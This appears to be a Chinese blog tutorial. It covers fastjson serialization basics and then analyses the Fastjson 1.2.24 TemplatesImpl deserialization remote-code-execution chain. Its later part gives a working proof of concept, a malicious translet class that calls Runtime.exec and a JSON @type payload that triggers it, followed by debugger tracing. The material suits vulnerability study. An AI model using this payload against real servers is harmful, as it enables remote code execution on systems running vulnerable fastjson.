关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html
fastjson这个漏洞出来了很久,一直没时间分析,耽搁了,今天捡起来
因为我们要分析fastjson相关漏洞,所以我们先去学习fastjson的基础使用,如果我们连fastjson都不知道,更何谈漏洞分析呢?
首先先搭建相关漏洞环境:
使用maven,非常方便我们切换相关漏洞版本:
pom.xml:
<groupId>groupId</groupId>
<artifactId>Java\_Test</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<!-- https://mvnrepository.com/artifact/com.google.common/google-collect -->
<!-- https://mvnrepository.com/artifact/com.google.guava/guava -->
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<!--fastjson1.2.24环境安装-->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>RELEASE</version>
<scope>compile</scope>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
然后点击刷新按钮,会自动帮我们安装相关依赖
至此,我们就拥有了fastjson环境
什么是fastjson?
fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
简单点说就是帮我们处理json数据的
搓个demo:
Student.java:
package com.test.fastjson;
public class Student {
private int id;
private String name;
private int age;
public Student(){
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\\'' +
", age=" + age +
'}';
}
}
Teacher.java:
package com.test.fastjson;
import java.util.List;
public class Teacher {
private int id;
private String name;
private List
public Teacher(){
}
public Teacher(int id, String name, List<Student> studentList) {
this.id = id;
this.name = name;
this.studentList = studentList;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List<Student> getStudentList() {
return studentList;
}
public void setStudentList(List<Student> studentList) {
this.studentList = studentList;
}
@Override
public String toString() {
return "Teacher{" +
"id=" + id +
", name='" + name + '\\'' +
", studentList=" + studentList +
'}';
}
}
编写测试类:
@Test
public void fastjson_test1(){
Student student = new Student(1,"jack",24);
System.out.println(JSON.toJSON(student));
}
把对象转换成json格式数据
支持复杂的对象转换json处理:
@Test
public void fastjson_test2(){
List
for(int i=0;i<4;i++){
Student student = new Student(i, "jack" + i, 23 + i);
studentList.add(student);
}
List
Teacher teacher = new Teacher();
teacher.setStudentList(studentList);
System.out.println(JSON.toJSON(teacher));
}
除了使用toJSON方法转换外,还可以使用toJSONString方法:
@Test
public void fastjson_test3(){
Student student = new Student(1,"jack",24);
System.out.println(JSON.toJSONString(student));
}
查看返回类型,String类型
说明是把student对象数据转换成字符串json数据
JSON.toJSONString的扩展:
需求如下:只需要Student对象的id和age字段,不要name字段,怎么做?
@Test
public void fastjson_test4(){
Student student = new Student(1,"jack",24);
//过滤只要id和age字段
SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age");
String value = JSON.toJSONString(student, filter);
System.out.println(value);
}
设置保留id和age字段
通过上面的学习知道了如果想把对象转换成json数据可以使用JSON.toJSON,或者使用JSON.toJSONString
我们继续学习,下一步我们尝试把json数据转换成对象,还原我们的对象:
//反序列化,str类型数据转换成class类型对象
@Test
public void fastjson_test5(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student);
System.out.println("转换成json数据");
System.out.println(value);
System.out.println("str类型json数据转换成class类型对象");
System.out.println(JSON.parseObject(value, Student.class));
}
通过上面代码,我们可以发现一个重点:
fastjson会处理字符串类型的json数据,上面的value变量是字符串类型,这对我们后续漏洞分析很有帮助
继续扩展JSON.toJSONString:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class);
System.out.println(student1);
}
把结果输出出来:
{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}
发现多了个@type字段,说明了我们Student对象转换成json数据的数据类型,告诉我们是com.test.fastjson.Student类型的数据被转换成json数据了.
我们继续学习:
前面说了fastjson会处理我们的字符串json,直接写一段字符串json数据:
@Test
public void fastjson\_test7(){
String jsonStr="{\\"age\\":24,\\"id\\":1,\\"name\\":\\"jack\\"}";
System.out.println(jsonStr);
System.out.println(getType(jsonStr));
System.out.println(JSON.parseObject(jsonStr));
}
我们这样写,会发现最后字符串json没有转换成对象
为什么?
因为fastjson找不到我们要转换的json数据在哪个类,这里我们要声明类型:
再次修改:
@Test
public void fastjson_test7(){
String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(getType(jsonStr));
System.out.println(JSON.parseObject(jsonStr));
}
有意思的地方来了,声明类型后的字符串json数据,fastjson并没有把它转换成对象:
深入跟踪下:
在JSON.parseObject处打个断点:
跟进去:
继续进函数:
value=Student{id=1, name='jack', age=24}
继续下一步:
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
判断引用obj指向的对象是否是JSONObject,如果是就直接返回,否则就返回toJSON处理:
继续下一步执行:
熟悉吧toJSON,把我们的student对象再次转换成了json数据…:
那么最后的返回就是:
解决办法:使用parse替换parseObject:
@Test
public void fastjson_test7(){
String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
System.out.println(getType(jsonStr));
System.out.println(JSON.parse(jsonStr));
}
这一次,我们成功把字符串json数据转换成了对象:
可能作为开发,到这一步已经学完了基础的常用用法,但是对于安全来说,这里可能是否可能会存在安全隐患呢?
猜测:fastjson会根据我们申明的类型,fastjson在反序列化我们的字符串json数据的时候,会把它转换成对象,那么如果我们的type字段上输入恶意类,是否会在java反序列化的时候导致安全问题呢?
这就是fastjson安全漏洞的最初产生,恶意修改type类,导致安全问题
深入研究fastjson的对象转json,json转对象的调用机制:
修改我们的Student.java:
package com.test.fastjson;
public class Student {
private int id;
private String name;
private int age;
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\\'' +
", age=" + age +
'}';
}
}
消除我们的构造方法:
编写测试方法:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class);
System.out.println(student1);
}
直接报错了,发现我们json转str失败,我们反序列化失败,报错提示默认的构造方法不存在,说明前置条件1:fastjson反序列化必须要构造方法
再次修改student.java:
package com.test.fastjson;
public class Student {
private int id;
private String name;
private int age;
public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\\'' +
", age=" + age +
'}';
}
}
再次运行上面的测试方法:
继续探索:
再次修改student.java:
package com.test.fastjson;
public class Student {
private int id;
private String name;
private int age;
public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
System.out.println("setId被调用");
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\\'' +
", age=" + age +
'}';
}
}
在set方法中新增了一条输出语句
再次运行上面的测试方法:
尝试删除set方法:
修改student.java:
package com.test.fastjson;
public class Student {
private int id;
private String name;
private int age;
public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
}
public int getId() {
return id;
}
// public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// }
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\\'' +
", age=" + age +
'}';
}
}
代码中注释了setId方法
再次运行:
结论:反序列化对象的时候,如果对象中的属性定义是private,那么必须设置set方法,protected修饰符也是一样,必须设置set方法
只有set方法,没有定义get方法可以被反序列化吗?
注释掉get方法,保留set方法:
结论:不可以,最起码在JSON.parseObject下是不可以的
总结:使用JSON.parseObject反序列化的时候,属性字段如果是private和protected修饰的时候,必须有set和get方法,否则可能导致某些字段反序列化失败
再次修改student.java文件:
package com.test.fastjson;
public class Student {
public int id;
private String name;
private int age;
public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
}
// public int getId() {
// return id;
// }
// public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// }
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\\'' +
", age=" + age +
'}';
}
}
修改private为public,注释掉set和get方法
再次运行测试方法:
结论:public字段下,set/get可有可无
还是回到priavte字段问题,再次修改student.class:
package com.test.fastjson;
public class Student {
private int id;
private String name;
private int age;
public Student(){
System.out.println("你必须调用我");
}
public Student(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
}
public int getId() {
return id;
}
// public void setId(int id) {
// this.id = id;
// System.out.println("setId被调用");
// }
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"id=" + id +
", name='" + name + '\\'' +
", age=" + age +
'}';
}
}
注释了set方法,保留get方法:
前面说了,set和get方法缺一不可,所以我们JSON.ParseObject,一定是反序列化失败的
是否有解决方案?
修改测试方法为:
@Test
public void fastjson_test6(){
Student student = new Student(1,"jack",24);
String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(value);
Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField);
System.out.println(student1);
}
再次运行:
Feature.SupportNonPublicField可以让我们忽略设置set方法,只要设置get方法,就能达成反序列化
最终结论总结:fastjson反序列化依赖于set和get方法,而且必须要有构造方法,最优先调用的是构造方法,fastjson设置Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一样
好了,基础部分全部讲完了,包括他反序列化和字段以及构造方法的调用问题
下面介绍fastjson第一个漏洞:
利用链:Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链比较鸡肋
但是分析这条利用链,可以让你很清楚知道fastjson内部是怎么进行序列化的,反序列化的,通过前面写的demo,我们已经对fastjson内部处理对象和json转换对象有了较为详细的认知
poc构造:我是mac,windows直接calc即可:
Poc1.java:
package com.test.fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc1 extends AbstractTranslet {
public Poc1() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String\[\] args) throws IOException {
Poc1 poc1 = new Poc1();
}
}
编译运行一次生成字节码,然后全局base64编码:
反序列化攻击:
AttackPoc1.java:
package com.test.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class AttackPoc1 {
public static void main(String[] args) throws ClassNotFoundException {
String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" +
"[\"刚刚生成的base64编码的字节码数据\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" +
"{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}
运行:
成功命令执行弹窗计算器
原理分析,先抛出疑惑点:
去除Feature.SupportNonPublicField还可以命令执行吗?
运行没有命令执行,前面我们学习了Feature.SupportNonPublicField是当我们设置get方法,而没有设置set方法的补救,即使没有set方法也会帮我们反序列化成功
跟进TemplatesImpl类:可以debug进去,这里我选择反射进去:
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
以这个字段为例:
搜索setOutputProperties:
所以我们他一定要依赖于Feature.SupportNonPublicField
打个断点,深入跟踪下:
解决我们的几个疑惑
(1)为什么_bytecodes定义的数据得是base64编码
(2)fastjson反序列化是怎么走的?
下个断点:
先搞清楚第一个问题bytecodes字节码为什么是base64编码:
判断开头输入是否是{:
继续往下:
设置token为12,很重要,后面的判断都要基于token:
一直下一步执行:
通过loadClass加载我们的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类:
集合存储恶意类:
然后不断判断我们的clazz是什么类型:
不符合条件就继续往下找:
通过反射获取所有的方法
判断方法的定义规则:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
Class>[] types = method.getParameterTypes();
方法名字要符合这个条件:
获取字段:
debug真的脑子疼:
重点来了:
反序列化字段:
继续往下跟:
继续往下:
最后出函数调用parseObject:
最后执行命令:
2.bytescodes base编码原由:
反序列化的时候调用:
byte[] bytes = lexer.bytesValue();
lexer.nextToken(16);
会调用base64解码:
静态调试下:
跟进方法:
方法在接口类中,找接口实现类:
搜索到一个:
进去:
发现是个抽象类:
java基础核心概念:
如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.
寻找他的子类:
查看他的子类:
他的父类是object:
选择他的子类进去看看:
搜索byteValue,查看其函数实现:
至此第一条鸡肋的利用链分析完毕,明天我分析下不鸡肋的利用链,利用jndi注入直接rce
手机扫一扫
移动阅读更方便
你可能感兴趣的文章